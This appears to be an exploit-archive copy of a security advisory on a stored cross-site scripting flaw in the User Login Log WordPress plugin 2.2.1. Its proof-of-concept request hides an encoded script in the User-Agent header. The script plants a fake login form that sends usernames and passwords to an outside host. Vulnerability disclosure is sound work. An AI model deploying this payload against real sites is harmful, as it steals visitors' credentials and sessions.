846ce42eca
14 new exploits SysGauge 1.5.18 - Buffer Overflow WePresent WiPG-1500 - Backdoor Account Windows x86 - Reverse TCP Staged Alphanumeric Shellcode (332 Bytes) DLink DSL-2730U Wireless N 150 - Cross-Site Request Forgery Aruba AirWave 8.2.3 - XML External Entity Injection / Cross-Site Scripting WordPress Plugin Contact Form Manager - Cross-Site Request Forgery / Cross-Site Scripting WordPress Plugin User Login Log 2.2.1 - Cross-Site Scripting WordPress Plugin Popup by Supsystic 1.7.6 - Cross-Site Request Forgery WordPress Plugin NewStatPress 1.2.4 - Cross-Site Scripting WordPress Plugin Global Content Blocks 2.1.5 - Cross-Site Request Forgery WordPress Plugin File Manager 3.0.1 - Cross-Site Request Forgery SchoolDir - SQL Injection Rage Faces Script 1.3 - SQL Injection Meme Maker Script 2.1 - 'user' Parameter SQL Injection
53 lines
7.8 KiB
Text
Executable file
53 lines
7.8 KiB
Text
Executable file
Source: https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html
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Abstract
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A stored Cross-Site Scripting vulnerability was found in the User Login Log WordPress Plugin. This issue can be exploited by Subscriber (or higher) and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.
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Contact
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For feedback or questions about this advisory mail us at sumofpwn at securify.nl
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The Summer of Pwnage
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This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
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OVE ID
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OVE-20160724-0011
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Tested versions
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This issue was successfully tested on User Login Log WordPress Plugin version 2.2.1.
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Fix
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There is currently no fix available.
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Introduction
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The User Login Log WordPress Plugin track records of WordPress user login with set of multiple information like ip, date , time, country , city, and user name. A stored Cross-Site Scripting vulnerability was found in the User Login Log WordPress Plugin. This issue can be exploited by Subscriber (or higher) and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.
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Details
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This vulnerability exists due to the lack of encoding of the User-Agent HTTP request header. This issue exists in method column_default() that is implemented in the file user-login-log.php.
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function column_default($item, $column_name)
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{
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[...]
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switch($column_name){
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[...]
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default:
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return $item[$column_name];
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}
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}
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Proof of concept:
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POST /wp-login.php HTTP/1.1
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Host: <target>
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User-Agent: XSS<script>document.getElementById(/wpwrap/.toString().substring(1, 7)).innerHTML = String.fromCharCode(60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,99,111,108,111,114,115,45,102,114,101,115,104,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,99,111,108,111,114,115,45,102,114,101,115,104,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,108,111,103,105,110,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,108,111,103,105,110,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,32,60,115,116,121,108,101,62,98,111,100,121,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,104,101,97,100,101,114,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,108,111,103,105,110,102,111,114,109,123,116,101,120,116,45,97,108,105,103,110,58,32,108,101,102,116,59,125,112,32,35,110,97,118,123,116,101,120,116,45,115,104,97,100,111,119,58,32,114,103,98,97,40,50,53,53,44,50,53,53,44,50,53,53,44,49,41,32,48,32,49,112,120,32,48,59,125,46,115,117,98,109,105,116,123,112,97,100,100,105,110,103,58,32,48,59,125,35,98,97,99,107,116,111,98,108,111,103,32,97,123,99,111,108,111,114,58,32,35,99,99,99,59,125,60,47,115,116,121,108,101,62,32,60,100,105,118,32,105,100,61,34,108,111,103,105,110,34,62,60,104,49,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,111,114,100,112,114,101,115,115,46,111,114,103,47,34,32,116,105,116,108,101,61,34,80,111,119,101,114,101,100,32,98,121,32,87,111,114,100,80,114,101,115,115,34,62,84,111,116,97,108,108,121,32,76,101,103,105,116,32,76,111,103,105,110,32,70,111,114,109,60,47,97,62,60,47,104,49,62,32,60,102,111,114,109,32,110,97,109,101,61,34,108,111,103,105,110,102,111,114,109,34,32,105,100,61,34,108,111,103,105,110,102,111,114,109,34,32,97,99,116,105,111,110,61,34,104,116,116,112,58,47,47,119,119,119,46,115,104,111,97,108,111,97,107,46,109,108,47,99,111,108,108,101,99,116,34,32,109,101,116,104,111,100,61,34,80,79,83,84,34,32,116,97,114,103,101,116,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,112,62,60,108,97,98,101,108,62,85,115,101,114,110,97,109,101,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,116,101,120,116,34,32,110,97,109,101,61,34,117,34,32,105,100,61,34,117,115,101,114,95,108,111,103,105,110,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,49,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,62,60,108,97,98,101,108,62,80,97,115,115,119,111,114,100,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,112,97,115,115,119,111,114,100,34,32,110,97,109,101,61,34,112,34,32,105,100,61,34,117,115,101,114,95,112,97,115,115,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,50,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,83,101,115,115,105,111,110,32,104,97,115,32,101,120,112,105,114,101,100,44,32,112,108,101,97,115,101,32,108,111,103,32,105,110,60,47,112,62,60,112,32,99,108,97,115,115,61,34,102,111,114,103,101,116,109,101,110,111,116,34,62,60,108,97,98,101,108,62,60,105,110,112,117,116,32,110,97,109,101,61,34,114,101,109,101,109,98,101,114,109,101,34,32,116,121,112,101,61,34,99,104,101,99,107,98,111,120,34,32,105,100,61,34,114,101,109,101,109,98,101,114,109,101,34,32,118,97,108,117,101,61,34,102,111,114,101,118,101,114,34,32,116,97,98,105,110,100,101,120,61,34,57,48,34,47,62,32,82,101,109,101,109,98,101,114,32,77,101,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,99,108,97,115,115,61,34,115,117,98,109,105,116,34,62,60,105,110,112,117,116,32,116,121,112,101,61,34,115,117,98,109,105,116,34,32,110,97,109,101,61,34,119,112,45,115,117,98,109,105,116,34,32,105,100,61,34,119,112,45,115,117,98,109,105,116,34,32,118,97,108,117,101,61,34,76,111,103,32,73,110,34,32,116,97,98,105,110,100,101,120,61,34,49,48,48,34,47,62,60,47,112,62,60,47,102,111,114,109,62,32,60,112,32,105,100,61,34,110,97,118,34,62,60,97,32,104,114,101,102,61,34,46,46,47,119,112,45,108,111,103,105,110,46,112,104,112,63,97,99,116,105,111,110,61,108,111,115,116,112,97,115,115,119,111,114,100,34,32,116,105,116,108,101,61,34,80,97,115,115,119,111,114,100,32,76,111,115,116,32,97,110,100,32,70,111,117,110,100,34,62,76,111,115,116,32,121,111,117,114,32,112,97,115,115,119,111,114,100,63,60,47,97,62,60,47,112,62,60,47,100,105,118,62,60,105,102,114,97,109,101,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,32,110,97,109,101,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,47,105,102,114,97,109,101,62,32,60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,116,114,121,123,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,117,115,101,114,95,108,111,103,105,110,39,41,46,102,111,99,117,115,40,41,59,125,99,97,116,99,104,40,101,41,123,125,60,47,115,99,114,105,112,116,62);document.getElementById(/wpwrap/.toString().substring(1, 7)).id = /login/.toString().substring(1, 5);document.cookie = String.fromCharCode(39,118,105,115,105,116,101,100,61,116,114,117,101,59,112,97,116,104,61,47,59,109,97,120,45,97,103,101,61,39) + 60 * 10;
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</script>XSS
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.8
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Accept-Encoding: gzip,deflate,lzma,sdch
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Cookie: wordpress_test_cookie=WP+Cookie+check
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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log=<user name>&pwd=<password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1
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